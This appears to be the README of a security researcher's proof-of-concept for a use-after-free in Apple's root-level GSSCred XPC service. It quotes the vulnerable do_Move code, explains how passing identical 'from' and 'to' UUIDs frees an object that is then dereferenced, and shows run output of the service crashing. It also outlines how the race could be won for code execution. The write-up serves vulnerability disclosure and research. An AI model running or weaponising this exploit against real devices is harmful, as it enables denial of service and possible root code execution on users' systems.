The com.apple.GSSCred
XPC service, which runs as root on macOS and iOS, does not properly
implement the "move" command, leading to a use-after-free condition in the do_Move
function.
The GSSCred service can be reached from within the default application sandbox on iOS.
This program leverages the vulnerability in order to crash the GSSCred service. Achieving code execution in GSSCred hinges on overwriting the freed memory with controlled data during the race window. Tested on macOS High Sierra 10.13.2 Beta 17C79a.
Here are the relevant parts of do_Move
from Heimdal-520, with some unimportant
error-checking omitted:
//
// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
// CFDictionaryGetValue() returns the objects without adding a reference. Note that if
// the from and to UUIDs are the same, then credfrom and credto will both reference the
// same object.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom is removed from the dictionary. Since there was only one reference
// outstanding, this causes credfrom to be freed.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. At this point we check credto. If credfrom and credto refer to the same object, then
// credto is a non-NULL pointer to the freed HeimCredRef object.
//
if (credto == NULL) {
...
} else {
//
// 5. Now we dereference credto, passing a value read from freed memory as a
// CFDictionaryRef object to CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
This code does the following:
- It deserializes two UUIDs,
from
andto
, from the XPC request. The request is completely controlled, so we can set the values of these UUIDs arbitrarily. There is no check of whether these two UUIDs are the same. - It looks up the HeimCredRef objects,
credfrom
andcredto
, corresponding to the respective UUIDsfrom
andto
. Thepeer->session->items
dictionary stores all the credentials managed by GSSCred on behalf of the currently connected client program. Note that the functionCFDictionaryGetValue
returns a reference to the HeimCredRef objects, but does not increase their reference count. In particular, iffrom
andto
are the same UUID, thencredfrom
andcredto
will both point to the same HeimCredRef with a reference count of 1 (held by the containing CFDictionary). - Next
credfrom
is removed from thepeer->session->items
dictionary. This is usually safe, because whenfrom
andto
are different UUIDs, thecredfrom
object will be freed and then is never referenced again. However, whenfrom
andto
are the same, there will be problems, sincecredto
is referenced later. - Next the code checks if
credto
isNULL
. Sincecredfrom
andcredto
are equal andcredfrom
was notNULL
, we enter theelse
branch. - Finally, the code dereferences
credto
to read theattributes
field, which is passed as the first parameter toCFDictionaryGetValue
. If the freed memory pointed to bycredto
has been reallocated in the meantime and the location of theattributes
field changed to point to a specially crafted fake CFDictionary object, then it should be possible to achieve code execution with this step.
This program does not attempt to win this race window. Instead, it lets the destructor for
HeimCredRef zero out the attributes field, triggering a NULL
pointer dereference in
CFDictionaryGetValue
.
To build, run make
. See the top of the Makefile for various build options.
Running the exploit will show the sequence of XPC messages exchanged with GSSCred:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
The "Connection interrupted" XPC events indicate that the XPC connection was interrupted, likely because GSSCred died.
The GSSCred-move-uaf code is released into the public domain. As a courtesy I ask that if you reference or use any of this code you attribute it to me.